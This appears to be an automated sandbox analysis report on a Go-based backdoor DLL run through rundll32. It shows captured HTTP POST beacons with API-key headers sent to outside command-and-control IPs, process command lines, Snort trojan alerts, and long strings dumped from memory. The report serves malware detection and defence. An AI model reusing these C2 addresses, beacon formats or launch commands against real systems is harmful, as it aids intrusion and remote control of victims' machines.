Jul 16, 2024 10:04:19.997365952 CEST	296	OUT	POST / HTTP/1.1 Host: 77.238.250.123 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: Gm99N1zx Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A
Jul 16, 2024 10:04:20.798605919 CEST	165	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 16 Jul 2024 08:04:20 GMT Content-Length: 1 Data Raw: 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49803	77.238.229.63	80	7104	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:04:20.135036945 CEST	295	OUT	POST / HTTP/1.1 Host: 77.238.229.63 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: ZCsJyWdr Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49804	77.238.250.123	80	7104	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 16, 2024 10:04:21.784920931 CEST	296	OUT	POST / HTTP/1.1 Host: 77.238.250.123 User-Agent: Go-http-client/1.1 Content-Length: 158 X-Api-Key: F3b377Ms Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A
Jul 16, 2024 10:04:22.395380974 CEST	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 16 Jul 2024 08:04:22 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Statistics

Click to jump to process

Memory Usage

• loaddll32.exe
• conhost.exe
• cmd.exe
• rundll32.exe
• rundll32.exe
• rundll32.exe
• rundll32.exe
• rundll32.exe

Click to jump to process

High Level Behavior Distribution

• File
• Network

Click to dive into process behavior distribution

Behavior

• loaddll32.exe
• conhost.exe
• cmd.exe
• rundll32.exe
• rundll32.exe
• rundll32.exe
• rundll32.exe
• rundll32.exe

Click to jump to process

Target ID:	0
Start time:	04:01:38
Start date:	16/07/2024
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\file.dll"
Imagebase:	0xa10000
File size:	126'464 bytes
MD5 hash:	51E6071F9CBA48E79F10C84515AAE618
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	04:01:38
Start date:	16/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	04:01:38
Start date:	16/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\file.dll",#1
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	04:01:38
Start date:	16/07/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\file.dll,MainFunc
Imagebase:	0xd90000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	04:01:38
Start date:	16/07/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\file.dll",#1
Imagebase:	0xd90000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	04:01:41
Start date:	16/07/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\file.dll,_cgo_dummy_export
Imagebase:	0xd90000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	04:01:48
Start date:	16/07/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\file.dll",MainFunc
Imagebase:	0xd90000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	04:01:48
Start date:	16/07/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\file.dll",_cgo_dummy_export
Imagebase:	0xd90000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Source: http://195.2.70.38/	Virustotal: Detection: 5%			Perma Link
Source: http://195.2.70.38	Virustotal: Detection: 5%			Perma Link

Source: Traffic	Snort IDS: 2855539 ETPRO TROJAN Unknown Golang Backdoor CnC Server Response M2 91.142.73.198:30865 -> 192.168.2.7:49711
Source: Traffic	Snort IDS: 2855536 ETPRO TROJAN Unknown Golang Backdoor CnC Client Request M1 192.168.2.7:49711 -> 91.142.73.198:30865
Source: Traffic	Snort IDS: 2855537 ETPRO TROJAN Unknown Golang Backdoor CnC Client Request M2 192.168.2.7:49711 -> 91.142.73.198:30865
Source: Traffic	Snort IDS: 2855538 ETPRO TROJAN Unknown Golang Backdoor CnC Server Response M1 91.142.73.198:30865 -> 192.168.2.7:49711

Source: rundll32.exe, 00000003.00000002.3533758153.000000006B9FB000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: GoneDATAPING<>1080openStat.com.bat.cmdquitnullbooljson'\''3125Atoiint8uintchanfunccallkind != AhomChamKawiLisuMiaoModiNewaThaiTotoDashermssse3avx2bmi1bmi2bitsNameTypeFrom.css.gif.htm.jpg.mjs.pdf.png.svg.xmlxn--asn1tag:false<nil>ErrorMarchAprilmonthLocal+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930defersweepschedhchansudoggscanmheaptracepanicsleepgcingusagefault[...]hostswriteclosefileshttpsimap2imap3imapspop3s:**@Rangeallowrange:path%s %q%s=%sHTTP/socksFound&"'chdirchmodLstatntohsarray%s:%dyamuxlocal1562578125int16int32int64uint8sliceAdlamBamumBatakBuhidDograGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicTakriTamilSTermsse41sse42ssse3 (at ClassTypeAtls: Earlyparseutf-8%s%dtext/.avif.html.jpeg.json.wasm.webpRealmbad nSHA-1P-224P-256P-384P-521ECDSAupdatekilledconfigStringFormat[]bytestringSundayMondayFridayAugustminutesecondUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13sysmontimersefenceselect, not objectstatusnetdns.locallisten.onionip+netreturnsocketacceptdomaingophertelnetClosedBasic CookiecookieexpectoriginserverclosedExpectPragmasocks LockedCANCELGOAWAYPADDEDactivesocks5renameexec: hangupGetACPsendtoremote390625uint16uint32uint64structchan<-<-chan ValueArabicBrahmiCarianChakmaCommonCopticGothicHangulHatranHebrewKaithiKhojkiLepchaLycianLydianRejangSyriacTai_LeTangsaTangutTeluguThaanaWanchoYezidiHyphenrdtscppopcntcmd/go, val LengthTypeNSTypeMXheaderAnswerX25519%w%.0wAcceptServerSTREETfloat32float64TuesdayJanuaryOctoberMUI_StdMUI_DltforcegccpuprofunknowngctraceIO waitrunningUNKNOWN:eventswindowswsarecvwsasendconnectopenbsdlookup UpgradeReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGTrailer:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTHEADERSconsolePATHEXTabortedCopySidFreeSidSleepExWSARecvWSASendsignal refused19531259765625invaliduintptrSwapperChanDir Value>ConvertAvestanBengaliBrailleCypriotDeseretElbasanElymaicGranthaHanunooKannadaMakasarMandaicMarchenMultaniMyanmarOsmanyaSharadaShavianSiddhamSinhalaSogdianSoyomboTagalogTibetanTirhutaRadicalos/execruntime::ffff:nil keyanswersTypeSOATypePTRTypeTXTTypeSRVTypeOPTTypeWKSTypeALLderivedInitialExpiresSubjectcharsetSHA-224SHA-256SHA-384SHA-512#internDES-CBCEd25519MD2-RSAMD5-RSAserial:2.5.4.62.5.4.32.5.4.72.5.4.82.5.4.92.5.4.5scavengepollDescrwmutexWrwmutexRtraceBufdeadlockraceFinipanicnilcgocheck is not pointerBAD RANKruntime.reflect.net/httpgo/buildx509sha1profBlockstackpoolhchanLeafwbufSpansmSpanDeadscavtraceinittracepanicwaitchan sendpreemptedinterfacectxt != 0atomicor8tracebackcomplex64pclmulqdqmath/randrwxrwxrwxtime.Date(time.LocalnotifyListprofInsertstackLargemSpanInUseGOMAXPROCSstop traceinvalidptrschedtracesemacquiredebug callGOMEMLIMITexitThreadBad varintatomicand8float64nanfloat32nanunknown pccomplex128execerrdothttp2debugcrypto/tlsassistQueuenetpollInitreflectOffsglobalAllocmSpanManualstart traceclobberfreegccheckmarkscheddetailcgocall nilunreachablebad m valuebad timedivfloat64nan1float64nan2float64nan3float32nan2gocachehashgocachetestht
Source: rundll32.exe, 00000004.00000002.3533929536.000000006B9FB000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: GoneDATAPING<>1080openStat.com.bat.cmdquitnullbooljson'\''3125Atoiint8uintchanfunccallkind != AhomChamKawiLisuMiaoModiNewaThaiTotoDashermssse3avx2bmi1bmi2bitsNameTypeFrom.css.gif.htm.jpg.mjs.pdf.png.svg.xmlxn--asn1tag:false<nil>ErrorMarchAprilmonthLocal+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930defersweepschedhchansudoggscanmheaptracepanicsleepgcingusagefault[...]hostswriteclosefileshttpsimap2imap3imapspop3s:**@Rangeallowrange:path%s %q%s=%sHTTP/socksFound&"'chdirchmodLstatntohsarray%s:%dyamuxlocal1562578125int16int32int64uint8sliceAdlamBamumBatakBuhidDograGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicTakriTamilSTermsse41sse42ssse3 (at ClassTypeAtls: Earlyparseutf-8%s%dtext/.avif.html.jpeg.json.wasm.webpRealmbad nSHA-1P-224P-256P-384P-521ECDSAupdatekilledconfigStringFormat[]bytestringSundayMondayFridayAugustminutesecondUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13sysmontimersefenceselect, not objectstatusnetdns.locallisten.onionip+netreturnsocketacceptdomaingophertelnetClosedBasic CookiecookieexpectoriginserverclosedExpectPragmasocks LockedCANCELGOAWAYPADDEDactivesocks5renameexec: hangupGetACPsendtoremote390625uint16uint32uint64structchan<-<-chan ValueArabicBrahmiCarianChakmaCommonCopticGothicHangulHatranHebrewKaithiKhojkiLepchaLycianLydianRejangSyriacTai_LeTangsaTangutTeluguThaanaWanchoYezidiHyphenrdtscppopcntcmd/go, val LengthTypeNSTypeMXheaderAnswerX25519%w%.0wAcceptServerSTREETfloat32float64TuesdayJanuaryOctoberMUI_StdMUI_DltforcegccpuprofunknowngctraceIO waitrunningUNKNOWN:eventswindowswsarecvwsasendconnectopenbsdlookup UpgradeReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGTrailer:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTHEADERSconsolePATHEXTabortedCopySidFreeSidSleepExWSARecvWSASendsignal refused19531259765625invaliduintptrSwapperChanDir Value>ConvertAvestanBengaliBrailleCypriotDeseretElbasanElymaicGranthaHanunooKannadaMakasarMandaicMarchenMultaniMyanmarOsmanyaSharadaShavianSiddhamSinhalaSogdianSoyomboTagalogTibetanTirhutaRadicalos/execruntime::ffff:nil keyanswersTypeSOATypePTRTypeTXTTypeSRVTypeOPTTypeWKSTypeALLderivedInitialExpiresSubjectcharsetSHA-224SHA-256SHA-384SHA-512#internDES-CBCEd25519MD2-RSAMD5-RSAserial:2.5.4.62.5.4.32.5.4.72.5.4.82.5.4.92.5.4.5scavengepollDescrwmutexWrwmutexRtraceBufdeadlockraceFinipanicnilcgocheck is not pointerBAD RANKruntime.reflect.net/httpgo/buildx509sha1profBlockstackpoolhchanLeafwbufSpansmSpanDeadscavtraceinittracepanicwaitchan sendpreemptedinterfacectxt != 0atomicor8tracebackcomplex64pclmulqdqmath/randrwxrwxrwxtime.Date(time.LocalnotifyListprofInsertstackLargemSpanInUseGOMAXPROCSstop traceinvalidptrschedtracesemacquiredebug callGOMEMLIMITexitThreadBad varintatomicand8float64nanfloat32nanunknown pccomplex128execerrdothttp2debugcrypto/tlsassistQueuenetpollInitreflectOffsglobalAllocmSpanManualstart traceclobberfreegccheckmarkscheddetailcgocall nilunreachablebad m valuebad timedivfloat64nan1float64nan2float64nan3float32nan2gocachehashgocachetestht
Source: rundll32.exe, 00000005.00000002.1728073056.000000006B9FB000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: GoneDATAPING<>1080openStat.com.bat.cmdquitnullbooljson'\''3125Atoiint8uintchanfunccallkind != AhomChamKawiLisuMiaoModiNewaThaiTotoDashermssse3avx2bmi1bmi2bitsNameTypeFrom.css.gif.htm.jpg.mjs.pdf.png.svg.xmlxn--asn1tag:false<nil>ErrorMarchAprilmonthLocal+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930defersweepschedhchansudoggscanmheaptracepanicsleepgcingusagefault[...]hostswriteclosefileshttpsimap2imap3imapspop3s:**@Rangeallowrange:path%s %q%s=%sHTTP/socksFound&"'chdirchmodLstatntohsarray%s:%dyamuxlocal1562578125int16int32int64uint8sliceAdlamBamumBatakBuhidDograGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicTakriTamilSTermsse41sse42ssse3 (at ClassTypeAtls: Earlyparseutf-8%s%dtext/.avif.html.jpeg.json.wasm.webpRealmbad nSHA-1P-224P-256P-384P-521ECDSAupdatekilledconfigStringFormat[]bytestringSundayMondayFridayAugustminutesecondUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13sysmontimersefenceselect, not objectstatusnetdns.locallisten.onionip+netreturnsocketacceptdomaingophertelnetClosedBasic CookiecookieexpectoriginserverclosedExpectPragmasocks LockedCANCELGOAWAYPADDEDactivesocks5renameexec: hangupGetACPsendtoremote390625uint16uint32uint64structchan<-<-chan ValueArabicBrahmiCarianChakmaCommonCopticGothicHangulHatranHebrewKaithiKhojkiLepchaLycianLydianRejangSyriacTai_LeTangsaTangutTeluguThaanaWanchoYezidiHyphenrdtscppopcntcmd/go, val LengthTypeNSTypeMXheaderAnswerX25519%w%.0wAcceptServerSTREETfloat32float64TuesdayJanuaryOctoberMUI_StdMUI_DltforcegccpuprofunknowngctraceIO waitrunningUNKNOWN:eventswindowswsarecvwsasendconnectopenbsdlookup UpgradeReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGTrailer:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTHEADERSconsolePATHEXTabortedCopySidFreeSidSleepExWSARecvWSASendsignal refused19531259765625invaliduintptrSwapperChanDir Value>ConvertAvestanBengaliBrailleCypriotDeseretElbasanElymaicGranthaHanunooKannadaMakasarMandaicMarchenMultaniMyanmarOsmanyaSharadaShavianSiddhamSinhalaSogdianSoyomboTagalogTibetanTirhutaRadicalos/execruntime::ffff:nil keyanswersTypeSOATypePTRTypeTXTTypeSRVTypeOPTTypeWKSTypeALLderivedInitialExpiresSubjectcharsetSHA-224SHA-256SHA-384SHA-512#internDES-CBCEd25519MD2-RSAMD5-RSAserial:2.5.4.62.5.4.32.5.4.72.5.4.82.5.4.92.5.4.5scavengepollDescrwmutexWrwmutexRtraceBufdeadlockraceFinipanicnilcgocheck is not pointerBAD RANKruntime.reflect.net/httpgo/buildx509sha1profBlockstackpoolhchanLeafwbufSpansmSpanDeadscavtraceinittracepanicwaitchan sendpreemptedinterfacectxt != 0atomicor8tracebackcomplex64pclmulqdqmath/randrwxrwxrwxtime.Date(time.LocalnotifyListprofInsertstackLargemSpanInUseGOMAXPROCSstop traceinvalidptrschedtracesemacquiredebug callGOMEMLIMITexitThreadBad varintatomicand8float64nanfloat32nanunknown pccomplex128execerrdothttp2debugcrypto/tlsassistQueuenetpollInitreflectOffsglobalAllocmSpanManualstart traceclobberfreegccheckmarkscheddetailcgocall nilunreachablebad m valuebad timedivfloat64nan1float64nan2float64nan3float32nan2gocachehashgocachetestht
Source: rundll32.exe, 00000006.00000002.3533985037.000000006B9FB000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: GoneDATAPING<>1080openStat.com.bat.cmdquitnullbooljson'\''3125Atoiint8uintchanfunccallkind != AhomChamKawiLisuMiaoModiNewaThaiTotoDashermssse3avx2bmi1bmi2bitsNameTypeFrom.css.gif.htm.jpg.mjs.pdf.png.svg.xmlxn--asn1tag:false<nil>ErrorMarchAprilmonthLocal+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930defersweepschedhchansudoggscanmheaptracepanicsleepgcingusagefault[...]hostswriteclosefileshttpsimap2imap3imapspop3s:**@Rangeallowrange:path%s %q%s=%sHTTP/socksFound&"'chdirchmodLstatntohsarray%s:%dyamuxlocal1562578125int16int32int64uint8sliceAdlamBamumBatakBuhidDograGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicTakriTamilSTermsse41sse42ssse3 (at ClassTypeAtls: Earlyparseutf-8%s%dtext/.avif.html.jpeg.json.wasm.webpRealmbad nSHA-1P-224P-256P-384P-521ECDSAupdatekilledconfigStringFormat[]bytestringSundayMondayFridayAugustminutesecondUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13sysmontimersefenceselect, not objectstatusnetdns.locallisten.onionip+netreturnsocketacceptdomaingophertelnetClosedBasic CookiecookieexpectoriginserverclosedExpectPragmasocks LockedCANCELGOAWAYPADDEDactivesocks5renameexec: hangupGetACPsendtoremote390625uint16uint32uint64structchan<-<-chan ValueArabicBrahmiCarianChakmaCommonCopticGothicHangulHatranHebrewKaithiKhojkiLepchaLycianLydianRejangSyriacTai_LeTangsaTangutTeluguThaanaWanchoYezidiHyphenrdtscppopcntcmd/go, val LengthTypeNSTypeMXheaderAnswerX25519%w%.0wAcceptServerSTREETfloat32float64TuesdayJanuaryOctoberMUI_StdMUI_DltforcegccpuprofunknowngctraceIO waitrunningUNKNOWN:eventswindowswsarecvwsasendconnectopenbsdlookup UpgradeReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGTrailer:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTHEADERSconsolePATHEXTabortedCopySidFreeSidSleepExWSARecvWSASendsignal refused19531259765625invaliduintptrSwapperChanDir Value>ConvertAvestanBengaliBrailleCypriotDeseretElbasanElymaicGranthaHanunooKannadaMakasarMandaicMarchenMultaniMyanmarOsmanyaSharadaShavianSiddhamSinhalaSogdianSoyomboTagalogTibetanTirhutaRadicalos/execruntime::ffff:nil keyanswersTypeSOATypePTRTypeTXTTypeSRVTypeOPTTypeWKSTypeALLderivedInitialExpiresSubjectcharsetSHA-224SHA-256SHA-384SHA-512#internDES-CBCEd25519MD2-RSAMD5-RSAserial:2.5.4.62.5.4.32.5.4.72.5.4.82.5.4.92.5.4.5scavengepollDescrwmutexWrwmutexRtraceBufdeadlockraceFinipanicnilcgocheck is not pointerBAD RANKruntime.reflect.net/httpgo/buildx509sha1profBlockstackpoolhchanLeafwbufSpansmSpanDeadscavtraceinittracepanicwaitchan sendpreemptedinterfacectxt != 0atomicor8tracebackcomplex64pclmulqdqmath/randrwxrwxrwxtime.Date(time.LocalnotifyListprofInsertstackLargemSpanInUseGOMAXPROCSstop traceinvalidptrschedtracesemacquiredebug callGOMEMLIMITexitThreadBad varintatomicand8float64nanfloat32nanunknown pccomplex128execerrdothttp2debugcrypto/tlsassistQueuenetpollInitreflectOffsglobalAllocmSpanManualstart traceclobberfreegccheckmarkscheddetailcgocall nilunreachablebad m valuebad timedivfloat64nan1float64nan2float64nan3float32nan2gocachehashgocachetestht
Source: rundll32.exe, 00000007.00000002.1802213746.000000006B9FB000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: GoneDATAPING<>1080openStat.com.bat.cmdquitnullbooljson'\''3125Atoiint8uintchanfunccallkind != AhomChamKawiLisuMiaoModiNewaThaiTotoDashermssse3avx2bmi1bmi2bitsNameTypeFrom.css.gif.htm.jpg.mjs.pdf.png.svg.xmlxn--asn1tag:false<nil>ErrorMarchAprilmonthLocal+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930defersweepschedhchansudoggscanmheaptracepanicsleepgcingusagefault[...]hostswriteclosefileshttpsimap2imap3imapspop3s:**@Rangeallowrange:path%s %q%s=%sHTTP/socksFound&"'chdirchmodLstatntohsarray%s:%dyamuxlocal1562578125int16int32int64uint8sliceAdlamBamumBatakBuhidDograGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicTakriTamilSTermsse41sse42ssse3 (at ClassTypeAtls: Earlyparseutf-8%s%dtext/.avif.html.jpeg.json.wasm.webpRealmbad nSHA-1P-224P-256P-384P-521ECDSAupdatekilledconfigStringFormat[]bytestringSundayMondayFridayAugustminutesecondUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13sysmontimersefenceselect, not objectstatusnetdns.locallisten.onionip+netreturnsocketacceptdomaingophertelnetClosedBasic CookiecookieexpectoriginserverclosedExpectPragmasocks LockedCANCELGOAWAYPADDEDactivesocks5renameexec: hangupGetACPsendtoremote390625uint16uint32uint64structchan<-<-chan ValueArabicBrahmiCarianChakmaCommonCopticGothicHangulHatranHebrewKaithiKhojkiLepchaLycianLydianRejangSyriacTai_LeTangsaTangutTeluguThaanaWanchoYezidiHyphenrdtscppopcntcmd/go, val LengthTypeNSTypeMXheaderAnswerX25519%w%.0wAcceptServerSTREETfloat32float64TuesdayJanuaryOctoberMUI_StdMUI_DltforcegccpuprofunknowngctraceIO waitrunningUNKNOWN:eventswindowswsarecvwsasendconnectopenbsdlookup UpgradeReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGTrailer:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTHEADERSconsolePATHEXTabortedCopySidFreeSidSleepExWSARecvWSASendsignal refused19531259765625invaliduintptrSwapperChanDir Value>ConvertAvestanBengaliBrailleCypriotDeseretElbasanElymaicGranthaHanunooKannadaMakasarMandaicMarchenMultaniMyanmarOsmanyaSharadaShavianSiddhamSinhalaSogdianSoyomboTagalogTibetanTirhutaRadicalos/execruntime::ffff:nil keyanswersTypeSOATypePTRTypeTXTTypeSRVTypeOPTTypeWKSTypeALLderivedInitialExpiresSubjectcharsetSHA-224SHA-256SHA-384SHA-512#internDES-CBCEd25519MD2-RSAMD5-RSAserial:2.5.4.62.5.4.32.5.4.72.5.4.82.5.4.92.5.4.5scavengepollDescrwmutexWrwmutexRtraceBufdeadlockraceFinipanicnilcgocheck is not pointerBAD RANKruntime.reflect.net/httpgo/buildx509sha1profBlockstackpoolhchanLeafwbufSpansmSpanDeadscavtraceinittracepanicwaitchan sendpreemptedinterfacectxt != 0atomicor8tracebackcomplex64pclmulqdqmath/randrwxrwxrwxtime.Date(time.LocalnotifyListprofInsertstackLargemSpanInUseGOMAXPROCSstop traceinvalidptrschedtracesemacquiredebug callGOMEMLIMITexitThreadBad varintatomicand8float64nanfloat32nanunknown pccomplex128execerrdothttp2debugcrypto/tlsassistQueuenetpollInitreflectOffsglobalAllocmSpanManualstart traceclobberfreegccheckmarkscheddetailcgocall nilunreachablebad m valuebad timedivfloat64nan1float64nan2float64nan3float32nan2gocachehashgocachetestht

Source: Joe Sandbox View	IP Address: 91.142.74.28 91.142.74.28
Source: Joe Sandbox View	IP Address: 77.238.229.63 77.238.229.63

Source: Joe Sandbox View	ASN Name: VTSL1-ASRU VTSL1-ASRU
Source: Joe Sandbox View	ASN Name: TELERU-ASRU TELERU-ASRU
Source: Joe Sandbox View	ASN Name: VDSINA-ASRU VDSINA-ASRU
Source: Joe Sandbox View	ASN Name: TELERU-ASRU TELERU-ASRU

Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.70.38
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.70.38
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.70.38
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.70.38
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.70.38
Source: unknown	TCP traffic detected without corresponding DNS query: 91.142.74.28
Source: unknown	TCP traffic detected without corresponding DNS query: 91.142.74.28
Source: unknown	TCP traffic detected without corresponding DNS query: 91.142.74.28
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.70.38
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.70.38
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.70.38
Source: unknown	TCP traffic detected without corresponding DNS query: 91.142.74.28
Source: unknown	TCP traffic detected without corresponding DNS query: 91.142.74.28
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.224.56
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.224.56
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.224.56
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.70.38
Source: unknown	TCP traffic detected without corresponding DNS query: 195.2.70.38
Source: unknown	TCP traffic detected without corresponding DNS query: 91.142.74.28
Source: unknown	TCP traffic detected without corresponding DNS query: 91.142.74.28
Source: unknown	TCP traffic detected without corresponding DNS query: 91.142.74.28
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.224.56
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.224.56
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.229.63
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.229.63
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.229.63
Source: unknown	TCP traffic detected without corresponding DNS query: 91.142.74.28
Source: unknown	TCP traffic detected without corresponding DNS query: 91.142.74.28
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.224.56
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.224.56
